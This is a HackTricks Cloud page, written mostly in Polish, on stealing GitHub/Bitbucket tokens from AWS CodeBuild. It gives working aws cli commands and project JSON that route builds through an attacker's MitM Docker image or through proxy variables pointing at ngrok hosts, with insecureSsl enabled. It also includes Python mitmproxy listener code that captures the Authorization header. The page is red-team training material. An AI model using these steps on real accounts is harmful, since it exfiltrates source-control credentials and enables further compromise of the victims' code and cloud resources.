AWS Codebuild - Token Leakage
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Recover Github/Bitbucket Configured Tokens
Najpierw sprawdź, czy są skonfigurowane jakieś poświadczenia źródłowe, które możesz leak:
aws codebuild list-source-credentials
Przez Docker Image
Jeśli stwierdzisz, że w koncie skonfigurowane jest uwierzytelnienie np. do Github, możesz exfiltrate ten access (GH token or OAuth token) zmuszając Codebuild do use an specific docker image do uruchomienia builda projektu.
W tym celu możesz create a new Codebuild project lub zmienić environment istniejącego, aby ustawić Docker image.
Docker image, którego możesz użyć, to https://github.com/carlospolop/docker-mitm. To bardzo podstawowy Docker image, który ustawi env variables https_proxy, http_proxy i SSL_CERT_FILE. Pozwoli to przechwycić większość ruchu hosta wskazanego w https_proxy i http_proxy oraz zaufać certyfikatowi SSL wskazanemu w SSL_CERT_FILE.
- Create & Upload your own Docker MitM image
- Postępuj zgodnie z instrukcjami w repo, aby ustawić adres IP proxy, skonfigurować certyfikat SSL i build the docker image.
- DO NOT SET
http_proxy— aby nie przechwytywać żądań do metadata endpoint. - Możesz użyć
ngrok, np.ngrok tcp 4444, aby ustawić proxy na swój host. - Gdy obraz Docker będzie zbudowany, upload it to a public repo (Dockerhub, ECR…)
- Set the environment
- Utwórz new Codebuild project lub modify environment istniejącego.
- Ustaw projekt, aby używał previously generated Docker image
.png)
- Set the MitM proxy in your host
- Jak wskazano w Github repo, możesz użyć czegoś takiego:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
Użyta wersja mitmproxy to 9.0.1, zgłoszono, że w wersji 10 może to nie działać.
- Uruchom build & przechwyć poświadczenia
- Możesz zobaczyć token w nagłówku Authorization:
.png)
Można to również zrobić z aws cli przy użyciu czegoś takiego
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Poprzez insecureSSL
Codebuild projects mają ustawienie o nazwie insecureSsl, które jest ukryte w interfejsie webowym — można je zmienić tylko przez API.
Włączenie tego pozwala Codebuild na połączenie z repozytorium bez sprawdzania certyfikatu oferowanego przez platformę.
- Najpierw musisz wyenumerować aktualną konfigurację poleceniem takim jak:
aws codebuild batch-get-projects --name <proj-name>
- Następnie, mając zebrane informacje, możesz zaktualizować ustawienie projektu
insecureSslnaTrue. Poniżej przykład aktualizacji projektu — zwróć uwagę nainsecureSsl=Truena końcu (to jedyna rzecz, którą musisz zmienić w zebranej konfiguracji). - Dodatkowo dodaj też zmienne środowiskowe http_proxy i https_proxy wskazujące na twój tcp ngrok, np.:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Następnie uruchom podstawowy przykład z https://github.com/synchronizing/mitm na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Na koniec kliknij Zbuduj projekt, poświadczenia zostaną wysłane w postaci jawnego tekstu (base64) do portu mitm:
 (1).png)
Via HTTP protocol
[!TIP] > Ta podatność została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 (chyba w piątek). Więc atakujący nie może już jej wykorzystywać :)
Atakujący z podwyższonymi uprawnieniami w ramach CodeBuild może leak the Github/Bitbucket token skonfigurowany lub, jeśli uprawnienia były skonfigurowane przez OAuth, tymczasowy token OAuth używany do dostępu do kodu.
- Atakujący może dodać zmienne środowiskowe http_proxy i https_proxy do projektu CodeBuild wskazując na swoją maszynę (na przykład
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Następnie zmień URL repozytorium github, aby używał HTTP zamiast HTTPS, na przykład:
http://github.com/carlospolop-forks/TestActions - Następnie uruchom podstawowy przykład z https://github.com/synchronizing/mitm na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Następnie kliknij Build the project lub uruchom build z linii poleceń:
aws codebuild start-build --project-name <proj-name>
- Finally, the credentials will be sent in clear text (base64) to the mitm port:
.png)
Warning
Teraz atakujący będzie mógł użyć tokena ze swojej maszyny, wypisać wszystkie przywileje, które posiada, i (ab)use łatwiej niż używając usługi CodeBuild bezpośrednio.
Untrusted PR execution via webhook filter misconfiguration
Dla łańcucha obejścia webhook wyzwalanego PR (ACTOR_ACCOUNT_ID regex + untrusted PR execution), sprawdź:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

